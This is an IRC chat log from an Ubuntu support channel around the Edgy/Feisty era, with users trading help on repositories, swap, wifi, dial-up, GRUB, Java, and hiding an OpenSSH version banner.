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host`any idea for an image archiving tool like irfanview or acdsee?12:01
crotThere are exploits related to filling partitions with crap12:01
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teer2like, can you get the linux demo for doom3?12:01
jinx099teer2: no because they arent open source12:01
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crotlike, if you filled someone's /var/spool/mail with junk mail12:01
Jordan_Uteer2: Not that I know of12:01
crotif that was on a separate partition then your mail breaks12:01
tommy1987are there any ubuntu developers here?12:01
teer2jinx099: so only open source software is available through apt-get ?12:01
crotif it's your whole disk then your system goes funky.12:01
mnoircrot: that is not necessarily a partition - it may be a conventional directory12:02
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jinx099teer2: by default, yes (i believe)12:02
mweteer2: the supported repositories don't have commercial software12:02
ubuntianexperiece of trucrypt?12:02
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mnoircrot: how does the fact of a partition affect the exploit?12:02
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beckQuestion. =] 12:02
teer2mwe: Interesting!12:02
riotkittieargh. i just caught myself trying to cd into a channel. guess thats sign i shouldnt attemp to assist anyone in the near future :P12:02
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mweteer2: you might be able to find some unofficial repos12:02
beckI lost my recycle bin... how can I get it back? xD12:02
tommy1987rofl12:02
oidiamnoir: i mean its posible to seperate /var and /log, have a different for /home and so on?..12:02
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mnoirriotkittie: yeah - you want to chmod it first....12:03
crotmnoir: because a partition has pre-limited space.12:03
teer2!repository12:03
ubotuThe packages in Ubuntu are divided into several sections. More information at https://help.ubuntu.com/community/Repositories and http://www.ubuntu.com/ubuntu/components - See also !EasySource12:03
beckOr garbage bin or whatever it's called...12:03
riotkittieheh12:03
crotSo you can't fill someone's disk by filling a log partition12:03
Jordan_Ubeck: right click th panel and choose add to panel12:03
mnoiroidia: yes it is - what bearing on security does that have?12:03
beckI didn't have it long enough to remember what it's called. xD12:03
mweteer2: well I guess the ubuntu policy is to support only free software. you can still install whatever you like if you can find other mirrors or not using APT12:03
crotthere is the multiverse mirror12:03
teer2mwe: Check out https://help.ubuntu.com/community/Repositories/Ubuntu12:04
beckThat would help if it still existed, Jordan_U12:04
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teer2mwe: There is a restricted channel12:04
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mnoircrot: true but i still do not see how that matters - all space is in partitions so all partitions can be overrun12:04
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mweteer2: restricted yes, but AFAIK it's very limited12:04
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tommy1987anybody know of any C programming tutorials in the linux environment which are particularly good?12:04
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Jordan_Ubeck: there should be an option there to add it, it's called "trash"12:04
crotmnoir: but only some things you do on a system have an external entry vector12:04
mweteer2: like the drivers and such12:04
mnoircrot: that is, if any can12:04
oidiamnoir: whell, so that when /log is full the system doesent crash, for example.. 12:04
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DrAk0anyone with MuSE dyne installed on ubuntu??12:05
beckI can't "Add To Panel" xD12:05
mnoiroidia: good point - you are right12:05
mnoircrot: his point is made :)12:05
r3m0tI would like help with the USB wireless card WG111v1 on x86_64. dmesg gives "kernel is 64-bit, but Windows driver is not 64-bit"12:05
kane77tommy1987, have you got some experience or not?12:05
chovyhow do i dialup my isp?12:05
teer2mwe: Interesting.  I think there should be a channel for commercial game demos.  I'm going to work on it.12:05
beckHang on... found it.12:05
Jordan_Uodia: what about just setting a limit on how big the folder can get?12:05
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mnoiroidia: so now ask again :)12:06
n2diytommy1987: you might find some basic stuff here: http://rute.2038bug.com/rute.html.gz12:06
tonyyarusso!dialup | chovy12:06
chovyi have it configured but don't know where to start the dialup app.12:06
ubotuchovy: You want to connect via dial-up? Read https://wiki.ubuntu.com/DialupModemHowto12:06
oidiamnoir: do you have any sugustions, cause i cant seam to rebember how it "should" be done12:06
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r3m0ttonyyarusso: what does "!dialup | chovy" mean?12:06
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mweteer2: multiverse has some commercial stuff. not doom3 demo I think, though12:06
mr_husHi, with smbmount, is there a way to mount all the shares from a remote machine?? If i just give //machine-ip/ as the source, it says it can't find the share...12:06
klerfaytwhat to do with DVDR iso?12:06
oidiahow should i partition my system? how big should the different be?12:06
mnoiroidia: i always make home a separate partition - this is not necessarily a security thing.  any fast growing files should be on a sep part so /var/log is a candidate12:07
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mweteer2: yeah go give us a repo for game demos. that would rock12:07
jinx099teer2: Are you having problems installing the demo?  Or not know how?12:07
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teer2teer2: I'm on it, yo!12:07
Jordan_Uklerfayt: right click it -> burn to disk12:07
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mwejinx099: I think he would like to be able to apt-get it12:07
Bluedoghmm12:07
tonyyarussor3m0t: bot usage12:07
mnoiroidia: other than that, i partition according to use - a dev system will probably have a separate /usr12:07
tonyyarusso!bot | r3m0t12:07
ubotur3m0t: I am ubotu, all-knowing infobot. You can browse my brain at http://bots.ubuntulinux.nl - Usage info: http://wiki.ubuntu.com/UbuntuBots12:07
teer2jinx099: I'm trying to help move the gaming scene forward.  linuxgamingworld.com12:07
Bluedogjust resized my swap, but it didnt mount. clicked swapon in gparted, and its now there.12:07
Bluedogis this permanent?12:08
klerfaytJordan_U: I'm trying to extract the content of iso with kiso, but it crashes12:08
Bluedogim not going to have to click swapon every boot...12:08
stefgoidia: suggestion would be 10G / (root), 512 MB swap, the rest /home12:08
Jordan_Umnoir: Why not use use quotas instead?12:08
oidiamnoir: i had a nice little "guide" or sugustion with 5-7 different, looking for something simmilar12:08
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kane77oidia, well I have mine set up like this: /  -ext3 16GB, swap 1 GB... some people like to have /home/ on a different partition also /boot/12:08
mweteer2: that's great. keep up the good work.12:08
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DrAk0anyone with dyne MuSE for audio streaming installed on ubuntu??12:08
teer2mwe: you bet, my pleasure.12:08
jinx099teer2: So you're making a demo and ope source games repo?12:09
oidiaok, thanks all12:09
teer2jinx099: going to look into it based on what you've told me here12:09
jinx099teer2: cool, good luck12:09
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mnoirJordan_U: not a bad idea - some folks do not trust them though.  also - quotas follow users i think i am not sure you can limit a filesize12:09
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teer2jinx099: no, just linux-supported commercial game demos12:09
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claygi want to set up a file server that is accessible from both doze and nix.  I really rather it be NFS than Samba, any suggestions?12:09
mweteer2: I gave up linux gaming a few years ago. my life is too short to spend a week installing each game. I would love to see more games and better installers for linux12:09
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tommy1987lol12:10
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mnoirclayg: you will need an NFS client for win then...12:10
tommy1987linux is not for games though really is it, the ones that are made should work and work well12:10
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teer2mwe: consoles are pretty sweet if you don't want to tinker with the install12:10
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katabaticSOMEBODY please help me figure out why it's not connecting to the router with DHCP automatically on boot, on wired network. I can tell it to connect manually, and it connects, but not automatically at boot! I installed some packages, and it stopped working, can't figure out what.12:10
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teer2mwe: I just want games available for people who still want to tinker with them12:11
tommy1987what have you installed?12:11
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sjbrownanyone know how to send arguments to time?12:11
mnoirkatabatic: what packages12:11
tommy1987katabatic?12:11
mweteer2: yeah. I don't mind spending a little time installing things but sometimes it gets redicilous12:11
music_god....12:11
sjbrown$ time -v echo foo12:11
sjbrownthat complains that "-v" is an command that can't be found12:11
music_i am geting sick12:11
Jordan_U!iso | klerfayt12:11
ubotuklerfayt: To mount an ISO disc image, type "sudo mount -o loop my.iso <mountpoint>" There is a list of useful cd image conversion tools at http://wiki.linuxquestions.org/wiki/CD_Image_Conversion Always verify the ISO using !MD5 before burning. Burning .iso files: see !burn12:11
music_and tire12:11
katabatictommy1987: pretty much a network manager like knetworkmanager I think, and power saving manager12:11
n2diymusic_: I caught your last drop out : music___ has quit (Read error: 110 (Connection timed out))12:12
r3m0thow often am I allowed to repeat a question? :D12:12
katabaticevery 10 hours12:12
music_i know12:12
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music_i saw it12:12
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r3m0tnighty night12:12
tommy1987hmmm was it working okay before?12:12
teer2!universe12:12
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ubotuThe packages in Ubuntu are divided into several sections. More information at https://help.ubuntu.com/community/Repositories and http://www.ubuntu.com/ubuntu/components - See also !EasySource12:12
katabaticyes it was12:12
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katabatictommy1987: yes it was12:12
music_i just called12:12
mnoirr3m0t: reasonable time is likr 5 min I'd say12:12
teer2!EasySource12:12
ubotusource-o-matic is a webpage where you can (re)generate your sources.list - http://www.ubuntu-nl.org/source-o-matic12:12
Jordan_Ur3m0t: every few minutes I would say12:12
music_and they say its u guys12:12
tommy1987okay well try and uninstall the knetwork manager then and reboot and see if its back to normal12:12
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tommy1987if you installed knetwork manager on ubuntu, it isnt the greatest idea in the world since its made for KDE12:13
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mweteer2: I guess right now the biggest problem for me is most of the games I play doesn't even work in linux no matter how much you work at it12:13
DRMacIverAny preferred guides for getting multiple monitors to work under Ubuntu?12:13
r3m0tok, how about this. how can I best "down"grade to 32-bit? (packages installed, ~ directory, etc)12:13
timmyk0hye12:13
jinx099mwe: windows games, right?12:13
timmyk0hey12:13
trainer_anyone know how to get flash and codecs working on amd64?12:13
katabatictommy1987: well, I'm on kubuntu, and I already tried uninstalling12:13
mwejinx099: well since there are no linux versions, yes12:14
tommy1987okay12:14
teer2mwe: Understandable - that's why I think we need to buy them so we can pay for supported software.12:14
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quad3datwork2anyone worked w/ SAS drives before?12:14
mnoirtommy1987: the doc sez kde apps should work in gnome.  if you know different you should file bugs with Cannonical12:14
DRMacIver(Single dual output graphics card)12:14
mweteer2: I'd buy them12:14
predius_DRMacIver: there's something on the gentoo wiki, one sec12:14
teer2jinx099: Hope you check out the website.  Often.  And leave lots of message.  haha..12:14
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jinx099mwe: doom3, quake4, ut2004...??12:14
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teer2mwe: We've got a long list of games you can buy that came out in the last year.  se:  http://linuxgamingworld.com/games-catalog/12:15
timmyk0I am trying to install Ubuntu 6.10 with the cd. It gets to the screen where you choose how to boot, I tried both safe graphics mode and the normal mode and either way it goes to the next screen and displays a blinking line in the upper left corner and that's it. can anyone help me?12:15
r3m0ttrainer_: codecs should mostly work. flash is another matter12:15
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tommy1987fair enough but surely installing something like knetworkmanager over ubuntu which already has everything neccessary to interface with a network is silly12:15
mwejinx099: I'm tired of those games. I know ID games have linux versions12:15
predius_DRMacIver: http://gentoo-wiki.com/HOWTO_Dual_Monitors12:15
mweteer2: great12:15
DRMacIverThanks12:15
katabatictommy1987: not quite12:15
predius_tommy1987: the whole point of network manager is the switching12:15
trainer_r3m0t: how difficult12:15
Jordan_Utimmyk0: Did you check the disk with MD5 ?12:16
tommy1987can that not be done from within ubuntu natively?12:16
predius_i can have a wired, and three wireless configured, without having to go to network admin every time I change locations12:16
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teer2Quake Wars: Enemy Territory is coming out next month for Linux and it is going to rock the house.12:16
mweteer2: I guess the more games are sold the more will be available in time12:16
timmyk0No i didn't.12:16
r3m0ttrainer_: I would expect automatix to do it...12:16
timmyk0how can i do that now12:16
tommy1987thats fair enough12:16
r3m0t...if it can be done12:16
jinx099I wish linux had DX9/1012:16
jinx099or could have anyway12:16
katabatictommy1987:  it was mainly for my wifi. doesn't mattery WHY I installed it. what matters is that my thing isnow broken. it may not have been knetworkmanager, I also installed some others, and uninstalled them12:16
mweteer2: ET? I think I played that in linux four years ago or so12:17
Jordan_U!automatix | r3m0t12:17
ubotur3m0t: automatix is a script that tries to install some software, and often fails and breaks systems. We don't provide support for it, and we strongly discourage its use. Problems caused by Automatix are often hard to track and solve, and it might sometimes be easier to !install a fresh copy of Ubuntu. See also !WorksForMe12:17
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tommy1987well i guess i dont know then12:17
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teer2mwe: It is just using the ET name.  It looks more like BF204712:17
mweteer2: oh12:17
r3m0t!easyubuntu | r3m0t12:17
ubotur3m0t: easyubuntu is a script that automates installation of some items. Use at your own risk. See http://easyubuntu.freecontrib.org/ - For help and or discussions about EasyUbuntu please join #easyubuntu12:17
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r3m0thum hum12:18
trainer_thanks12:18
teer2mwe: QW:ET is not out yet for any platform12:18
mweI see12:18
Jordan_Ur3m0t: Easyubuntu installs things much more cleanly and officially12:18
mweteer2: well there be a demo as well?12:18
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andresmujicafor anyone that uses kontact and want to add contact email address automagically, please check this http://www.seaq.com.co/linux/kbbdb/12:19
teer2mwe: Unknown at this time.  Check LGW in the next couple weeks for the news.12:19
chovyyou're kidding me. what good is an OS that doesn't support dialup.12:19
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mweteer2: I will. I love what your doing. linux gaming needs promoting12:19
=== r3m0t old fogey: "I remember when automatix was all we had. and we liked it!"
Jordan_Uchovy: It does support Dial up, it may not support your specific card but that is different12:19
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Creteilhi all12:19
teer2chovy: You have a wintel modem or something?12:20
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chovyteer2: no idea.12:20
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jadacyrus This CD refuses to eject from my computer, it just keeps trying to read it, i tried the eject command nothing is working. Please help me get this demon possesed CD out of my damn computer.12:20
Creteili'm currently running feisty12:20
teer2mwe: Thanks for the encouragement!!12:20
Jordan_U!pppoe | chovy12:20
ubotuchovy: Setting up an ADSL/PPPoE connection? Look at https://help.ubuntu.com/community/ADSLPPPoE12:20
Creteilall seems woking fine except i can't run xcdroast as root to generate the 1st configuration and be able to run it as user ...12:20
ublenderWow12:20
nemo_playjadacyrus: if eject command fails, is possible to use hdparm12:20
nemo_playto force a reset of the drive12:20
tommy1987is there a known bug with firefox It seems that very occasionally it just dissappears, i have known several people to have this problem?12:20
Creteilanyone have an idea ?12:20
mnoir!feisty | Creteil12:20
ubotuCreteil: The next version of Ubuntu (7.04; codenamed "Feisty Fawn"), it should be released in April 2007. At the moment it is alpha. Schedule: https://wiki.ubuntu.com/FeistyReleaseSchedule - Specifications (goals): https://features.launchpad.net/distros/ubuntu/feisty - Help in #ubuntu+112:20
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nemo_playjadacyrus: use at your own risk of course.  but some drives just act stupid12:20
nemo_playjadacyrus: rebooting often works :)12:21
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ublenderI look at my computer with aiglx+beryl+themes, I look at it's hundred applications, then I look at the price, and I talk to the community, I see what ubuntu really is, and why it rox over Other OS's12:21
nemo_playjadacyrus: is the -w parameter (man hdparm)12:21
Jordan_Utommy1987: There are many known problems with flashplugin crashing FF12:21
mweteer2: If you set up a ubuntu repository for game demos I'm sure it will be a success. Lots of ubuntu users are hungry for linux games12:21
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shwaghas anyone on my ubuntu installed the rails mysql gem ?12:21
r3m0tjadacyrus: try "eject -v"12:21
jadacyrusk12:21
mnoir!anyone | shwag12:21
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ubotushwag: A large amount of the first questions asked in this channel start with "Does anyone/anybody..."  Why not ask your next question (the real one) and find out?12:21
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ryanakcaanybody know of a cartesian coordinates/grid/graph app?12:22
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chovyJordan_U: i'm just trying to get standard dialup working for a family member.12:22
mzanfardinoI have a network printer on a known IP address.  How do I configure the printer in CUPS?12:22
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teer2mwe: Do you have any idea who I talk to about getting a file server on the official Ubuntu distribution list12:22
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r3m0tryanakca: gnuplot if you're willing to get nitty gritty12:22
Bluedoghmmm12:22
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Bluedogi modified my swap, now i manually have to run swapon to enable it12:22
Bluedoghow can i make this stick12:22
ryanakcar3m0t: not really... I just want to check something with my homework...12:22
mweteer2: I'd ask in #ubuntu-devel12:22
r3m0tryanakca: probably Maxima12:23
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ryanakcar3m0t: kk, thanks :)12:23
ublenderlol @ !anyone12:23
MatthewVBluedog, what do you mean by modified?12:23
teer2mwe: I'm off to #ubuntu-devel, then.  Thanks for the advice and the chat.12:23
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BluedogI made it smaller12:23
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trainer_r3m0t, flash from easyubuntu is x86 only :(12:23
nemo_playjadacyrus: g/l - later y'all. I'm just happy I got wireless working for my mom12:23
ctkroekerIn a classroom of 7 new PC's, schould I store the data locally or on one drive?12:23
Bluedogthe name hasnt changed, its still /dev/sda6] 12:23
nemo_playbroadcom, WPA-PSK and all12:23
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nemo_playctkroeker: thinclient! network shared home dirs!12:24
Bluedogit shows up perfectly in top if i use swapon, but doesnt 'stick' after a reboot, cant understand it12:24
Jordan_Uchovy: Sorry, wrong link: https://help.ubuntu.com/community/DialupModemHowto12:24
timmyk0to check the md5 checksum, i ram the 'md5sum ubuntu-6.10-desktop-i386.iso' - how do i know if it is alright or not?12:24
nemo_playctkroeker: fewer computers you have the data on, the easier your setup is12:24
mnoirctkroeker: edubuntu actually has thin client/ server built in - your choice tho12:24
r3m0tctkroeker: 1) how much data, 2) will the students need to edit it12:24
mweBluedog: double check fstab12:24
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Bluedogits not in there, but oddly enough it never was :/12:24
Bluedogcant understand why a size change would kill it12:24
ctkroekerThe PC's all have 80GB harddrives, seems like a waste. about 20 users this year, it'll grow every year12:25
Jordan_Utimmyk0: Do the same with the CD and see if the two numbers are the same, if not, it failed12:25
timmyk0how do i do it to the cd?12:25
ctkroekerI don't want to use thin client12:25
timmyk0md5sum D:\ ?12:25
timmyk0or d = cdrom drive12:25
r3m0tctkroeker: because. . .?12:25
mnoirctkroeker: how are you going to manage login - can the students use any pc or locked to 1?12:25
r3m0ttimmyk0: "md5sum /dev/cdrom" I think12:25
ctkroekertried it and was dissapointed, besides it would waste these nice PC's, 2.1 Ghz 512MB Ram12:26
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Bluedogmwe, my bad, its there still :/12:26
designdreamis there a console based wmv encoder?12:26
timmyk0i am on windows right now12:26
r3m0tctkroeker: run folding@home ;-) seriously though, do the gnome lockdown thing12:26
ctkroekerwell the students will only be there in groups of seven12:26
Bluedogthis correct?12:26
Bluedog# /dev/sda612:26
BluedogUUID=6a578fa4-c4e8-418b-ad35-25204b27cbdf none            swap    sw              0       012:26
Bluedogmountpoint is none...12:26
mzanfardinook, so I have installed the lpd print driver and the cups wrapper.  The printer is a network printer, but the default printer driver is configured for a usb port.  I need to change it to the IP address, but I'm not clear on the format.  Any help?12:27
chovyit isn't obvious to me in ModemData.txt what I'm supposed to do.12:27
Jordan_Ur3m0t: https://help.ubuntu.com/community/HowToMD5SUM12:27
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Stormx2Does anyone else have problems with sound not syncing up in the flash?12:28
timmyk0thanks Jordon_U and r3m0t12:28
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ctkroekerThe drives still have guaranty, I guess I could keep like three and bring the rest back12:28
ctkroekerbut I'd rather not12:28
clayghey if you were making a file server reachable by both nix and windows computers, the same directory....what would you go with?12:29
claygis there a way to go NFS all the wya?12:29
ctkroekerbut it would be best if the student could log in from any of the PC's12:29
mnoirctkroeker: i suspect that is almost a must12:29
ctkroekeryeah12:29
chovyhow do i find out what modem I have? scanModem didn't find anything.12:30
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r3m0t_did I miss anything? ;-)12:30
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mnoirctkroeker: think about backup, you might want to load up disks in two machines, use one as the backup server12:30
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ctkroekeryeah, I was thinking of that12:30
VigoGreetings12:30
pr3d4t0rGreetings.12:30
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mnoirctkroeker: seriously, the edubuntu project has thought about these things12:30
ctkroekerI think I'll have to talk with the school administration12:30
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pr3d4t0rIs there some way to suppress this?  #12:31
pr3d4t0r22/tcp  open  ssh     OpenSSH 4.3p2 Debian-5ubuntu1 (protocol 2.0)12:31
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mnoirpr3d4t0r: surpress?12:31
pr3d4t0rmnoir: I don't want to broadcast the OpenSSH version or the fact that this is an Ubuntu box.12:31
ctkroekeryeah, but they just paid a couple thousand bucks on these PC's, they didn't want thin client's and I'll diliver what they want, somehow12:32
Iceyeswhere do i configurate the accounts for ssh?12:32
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mnoirpr3d4t0r: but you want to allow ssh?12:32
pr3d4t0rmnoir: That's nmap's output.12:32
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pr3d4t0rmnoir: Yeah.  I alrady configured iptables for that.12:32
timmyk0ok my hashes are the same for the iso and cdrom, what else can i do to see why this isn't working right?12:32
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pr3d4t0rmnoir: I'm just surprised that this build of OpenSSH broadcasts that information.12:32
mnoirpr3d4t0r: have you configured iptables to allow ssh from anywhere?12:32
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pr3d4t0rmnoir: Yes.12:32
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Iceyeswhere is the account config file located?12:33
Iceyesfor ssh12:33
pr3d4t0rmnoir: Firewalling is not hte issue.  That's taken care of.  I just don't want that string.12:33
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mnoirIceyes: what do you mean12:33
lupine_85Anyone here familiar with the vmware-player package?12:33
pr3d4t0rHrm...12:34
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mnoirpr3d4t0r: not sure you can surpress it12:34
pr3d4t0rmnoir: Nothing in sshd_config :\12:34
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lupine_85I'm having some problems getting it instaleld12:34
user_helo12:34
user_ping12:34
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user_can anyoen give me help with wifi12:34
user_?12:34
Vigopong12:34
user_any wifi advice?12:34
itanshiis there a package for having a different wallpaper per desktop?12:34
lupine_85it fails at:  "Probing for an unused private subnet (this can take some time)..."12:34
user_experiencing dropout12:34
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itanshiheh wifi, still not working for me12:34
lupine_85(I have a static, public network)12:34
pr3d4t0rmnoir: Dang.12:34
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user_im using wireless isp12:34
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user_really frustrating..12:35
Iceyesmnoir i can't hardly remeber ssh, i installed it i need to edit the accessability for it ip and port and stuff12:35
pr3d4t0rmnoir: Let me see if those strings are built into the sshd executable.12:35
user_dont want to bug them because im using it free12:35
mnoirpr3d4t0r: there are not that many sshd versions.  somebody finding 22 open is going to test for all of them - you are not really that much more secure if you could surpress it i think12:35
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Creteilpr3d4t0r: http://www.derkeiler.com/Mailing-Lists/FreeBSD-Security/2001-01/0421.html12:35
Vigouser_:I am pretty much ignorant in matters of WiFi. have you looked on the Forums?12:35
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user_only 64k connection12:35
user_theres plenty forums12:35
user_but no conclusive advice12:35
user_...12:35
user_like12:35
mnoirIceyes: look at the /etc/ssh dir12:35
itanshiwifiradar?12:35
user_tilt antenna 2 degrees up12:35
user_or whatever12:36
VigoWheee12:36
user_using 18db antenna i think12:36
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VigoGood one, made me smile12:36
user_but this access is bridged by repeaters12:36
crparrHi! Who has managed to get dualhead to run on an i855GM graphics card?12:36
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crparrMy Laptop offers a VGA compatible controller and a Display controller12:36
mnoirpr3d4t0r: if you want security through obscurity, i should think that changing ports would be a higher priority12:36
ZambeziHow risky is it to follow the advice? http://pastebin.ca/31359812:36
Milos_SDhi all...12:36
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chovyscanModem didn't return anything.12:36
Milos_SDI just downloaded dvd+rw-tools 7http://ftp.dk.debian.org/debian/pool/main/d/dvd+rw-tools/dvd+rw-tools_7.0-4_i386.deb12:37
crparrThat's the way I dried to set ut up. But I only have one screen available. Please help!12:37
ryanakcaanybody know of a cartesian coordinates/grid/graph app? maxima is not really what I'm looking for...12:37
Milos_SDI just downloaded dvd+rw-tools 7 from here : http://ftp.dk.debian.org/debian/pool/main/d/dvd+rw-tools/dvd+rw-tools_7.0-4_i386.deb12:37
mnoirpr3d4t0r: also installing a port kncker would be a good idea12:37
pr3d4t0rmnoir: No, I don't want that.12:37
Milos_SDcan that be saftly instaled on Dapper?12:37
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pr3d4t0rmnoir: And I have a port knocker installed as well.12:37
pr3d4t0rmnoir: That string just makes my butt itch ;)12:37
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acke_ubuhey guys, i reinstalled windows xp, and now i cant boot into my ubuntu.. the boot for ubuntu halts with the error cant mount  /root/dev /dev/.somthing/dev folder cant be found. or something like that. i have reinstalled grub. (root (hda0,4) followed by setup (hda4)) but i get the same error message. I havent changed anything in menu.lst, so that should not be wrong. please help me. tried to google but wouldnt come up with anything12:38
mnoirpr3d4t0r: ok - so secure but not "too" secure :)12:38
pr3d4t0rmnoir: Oh, the server is solid.  I just don't like to give information that is not necessary to give.12:38
mnoirpr3d4t0r: which port knocker?  I am looking for one now....12:38
paradoxxwhich header files do I install for amd turion processor to get smp?12:38
Creteilpr3d4t0r: fix it in source code before recompiling and check if it brake things ...12:38
Flannelacke_ubu: when you install grub, you should install it to your MBR (that's just plain hda) not hda412:38
pr3d4t0rmnoir: A script kiddie may start getting ideas if he sees that.  If a guy I should be worried about starts sniffiing, he'll figure out what I'm running whether sshd broadcasts it or not :)12:39
Flannelacke_ubu: except, it sounds like youre getting the error from within grub?12:39
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pr3d4t0rmnoir: knockd12:39
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mnoirpr3d4t0r: ta12:39
pr3d4t0rCreteil: It's not in the build.12:39
acke_ubuFlannel: i tried taht too. setup (hda)12:39
paradoxxwhich package do I install for smp?12:39
paradoxx!smp12:39
pr3d4t0rCreteil: I'm wondering if that output was an nmap deduction.  Fyodor does too good a job with it ;)12:40
Flannelacke_ubu: do you get to the grub menu? and then get an error from there? or what?12:40
ubotuSorry, I don't know anything about smp - try searching on http://bots.ubuntulinux.nl/factoids.cgi12:40
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Flannelparadoxx: which version you running?12:40
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itanshithere a way to have a different desktop background for each workspace on edgy?12:40
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paradoxxFlannel: what you mean? I am using a amd dual core processor12:40
Creteilpr3d4t0r: just telnet localhost 22 and see :-)12:40
mnoir!generic | paradoxx have you looked here12:40
ubotuparadoxx have you looked here: Background to the decision to replace -686, k7 and -smp kernels with -generic can be found here https://lists.ubuntu.com/archives/ubuntu-devel/2006-August/019983.html (the -386 kernel is still available if needed)12:40
pr3d4t0rparadoxx: Edgy and later have SMP built-in.  If you have multiple processors/cores, the kernel will use them.12:40
Flannelparadoxx: edgy? breezy? dapper?12:40
pr3d4t0rCreteil: Yeah.12:40
timmyk012:41
Flannelparadoxx: and then, which current kernel are you running?12:41
paradoxxedgy12:41
acke_ubuflannel, yeah , i get grub. i make a choice to boot my ubuntu. and it starts booting. running scripts and so on. after a while it says kernel panic something12:41
Milos_SDI just downloaded dvd+rw-tools 7 from here : http://ftp.dk.debian.org/debian/pool/main/d/dvd+rw-tools/dvd+rw-tools_7.0-4_i386.deb.... can I install that on Dapper ?12:41
pr3d4t0rCreteil: Yes,it's displaying that.12:41
paradoxxpr3d4t0r: it dosen't seem to be seeing/using the other processor atm12:41
pr3d4t0rCreteil: But it's not in the sshd bin or in sshd_config - I wonder where that string is.12:41
Flannelparadoxx: you're using -386? or -generic kernel?12:41
paradoxxFlannel: how do I see which kernel?12:41
Creteilpr3d4t0r: is it the end of the string you want to remove (on my side it's 'Debian-7ubuntu1') ?12:41
pr3d4t0rparadoxx: I dunno then.  The Kubuntu box where I'm running Edgy does see the multiple cores :\12:41
paradoxxFlannel: 386 si the one i'm using12:41
pr3d4t0rCreteil: Yes.12:42
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Flannelparadoxx: install -generic, that'll use SMP.  linux-generic is the package you want12:42
pr3d4t0rCreteil: Ah, found it.12:42
ryanakcaMilos_SD: you can install it... might not work... and it might break stuff... so I wouldn't12:42
Flannelacke_ubu: That's not a grub problem, grub is booting your kernel fine.  Youve just got issues thereafter ;)12:42
pr3d4t0rCreteil: Offset 3edb0 of the sshd binary.12:43
pr3d4t0rCreteil: I guess rebuilding will fix that.12:43
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Milos_SDryanakca, than, how can I make my Pioneer 111D DVDRW work good?12:43
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wifire__interesting.. when i reconnect the wifi.. it works great for about 10 - 30 seconds12:43
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wifire__then dropout12:43
wifire__wifi works great for about 15 - 30 seconds after reconnect12:44
wifire__any ideas why this is?12:44
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Creteilpr3d4t0r: rebuilding probably fix the problem ...12:44
pr3d4t0rCreteil: Yeah.12:44
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ryanakcaMilos_SD: no clue :)12:44
pr3d4t0rCreteil: It's a low priority thing; I'll do that when I'm done configuring the rest of the server.  I was just wondering if there was a config file somewhere that broadcast this.12:45
acke_ubuFlannel:  it halts right after kjournald was executed. and it says that it failed mounting /root/dev on /dev/.static/dev then it says cannot open /root/dev/console: no such file and the row after taht says: kernel panic-not syncing:...12:45
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pr3d4t0rCreteil: Here is some trivia for you, to make up for the time you spent on this with me.12:45
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pr3d4t0rCreteil: The /usr/bin/nawk that ships with the latest Solaris 10 DVD was built on a Ubuntu box.12:45
paradoxxFlannel: thank you very much, installing it now12:45
acke_ubuFlannel: so the issue seemsto be the missing directory /root/dev ?!12:45
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pr3d4t0rCreteil: The binary is in ELF format and it runs *unchanged* under Linux :)12:46
Creteilpr3d4t0r: :-)12:46
pr3d4t0rCreteil: We found that one out this morning.  Pretty amusing.12:46
Bluedogwhat is bluetooth support in linux like?12:46
BluedogI want to connect my phone..12:46
Zealot87i am having problems with java running on ubuntu...12:46
kitcheBluedog: it's hit or miss12:46
andycrbluedog: dont know about a phone, but my mouse works12:46
Creteilpr3d4t0r: strings `which sshd`|grep thestringyousearchingfor can help you next time12:46
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Bluedogcool12:46
Bluedog!bluetooth12:46
ubotuFor instructions on how to set up bluetooth, see https://help.ubuntu.com/community/BluetoothSetup12:46
pr3d4t0rZealot87: Are you running Java or that abortion from hell named gcj?12:46
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PirateHeadUbuntu frequently "drops" my USB mouse on my Ubuntu Edgy laptop. I boot up and it's fine, it's recognized and it works, then reliably within 20 minutes my mouse stops working. My laptop's track-pad still works, but my USB mouse does not. Unplugging it and plugging it back in never works; rebooting the comptuer always restores the mouse. Can anyone help me?12:46
Zealot87idunno, how do i findout...?12:47
pr3d4t0rCreteil: I used hexdump -C12:47
andycrPirateHead: I have the same issue on my laptop12:47
andycr:/12:47
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PirateHeadA Toshiba?12:47
pr3d4t0rZealot87: java -version12:47
andycrYes!!12:47
andycrm35x12:47
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PirateHeadandycr: a Toshiba Satellite?12:47
andycryes12:47
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pr3d4t0rZealot87: If it says GNU anything, it isn't Java.  Remove gcj and get real Java from Sun.12:47
andycrsatellite m35x12:47
PirateHeadalright, it sounds like it's a specific hardware problem for us12:47
Creteilpr3d4t0r: anyhow, many solutions to find it :-)12:47
pr3d4t0rZealot87: Also, you may want to go to ##java...  wait, there you are.12:47
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PirateHeadhas anything worked for you?12:47
pr3d4t0rCreteil: Indeed.12:48
andycrhaven't tried much. the darn thing hits random keys when you move it, so its been in for repair12:48
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andycr(already came back once unrepaired)12:48
FlannelZealot87: what issues you having with java?12:48
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pr3d4t0rCreteil: That's the beauty of *NIX.  Almost as many ways to find stuff out as there are stars in the galaxy :)12:48
PirateHeadYikes. Luckily, that hasn't happened to mine.12:48
andycryeah12:48
Zealot87Well, I keep installing java, trying to get jre 5.0 but it keeps finishing and then i check the version and it says4.212:48
andycrwhere did you buy yours?12:48
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Creteilpr3d4t0r: ehehehe12:48
PirateHeadCircuit City12:48
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AD_what is *nix?12:48
Whatsisnamegreetings12:49
FlannelZealot87: the reason is you have both installed12:49
Flannel!java | Zealot8712:49
ubotuZealot87: To install a Java compiler/interpreter on Ubuntu, look at https://help.ubuntu.com/community/Java - For the Sun Java runtime install sun-java5-jre from the !Multiverse repository12:49
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Whatsisnamedoes anyone know where the samba passwd database file lives?12:49
andycrgood. don't buy one from best buy. 5 repairs so far, 100% have failed12:49
andycr4-512:49
FlannelZealot87: there's a line on that page about switching your used java, follow that ;)12:49
andycrthe third time they lost my laptop...12:49
PirateHeadandycr: I know, best buy is no good fo rme.12:49
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AD_i know linux, so it should be *nux12:49
andycryeah12:49
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D7anyone use a genesis gamepad on linux?12:49
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music_arrrgg12:49
kitcheandycr: lol welcome to geek squad they are just like stables :P12:49
andycryup12:49
PirateHeadandycr: I'm more knowledgable than their "techs", so they can't help me.12:49
FlannelZealot87: https://help.ubuntu.com/community/Java#head-fef9352fb26820bb774df978180c9dd3a60e777b12:50
andycrLOL yeah that happens to me too12:50
acke_ubuFlannel: would my option to fix my issue be to reinstall ubuntu? thats the only thing that would work?12:50
music_ok jordan_u u here?12:50
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Creteilsomeone know why xcdroast refuse to start as root ?12:50
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BULLECreteil: no, but i bet you get some sort of error message or similar that tells you12:50
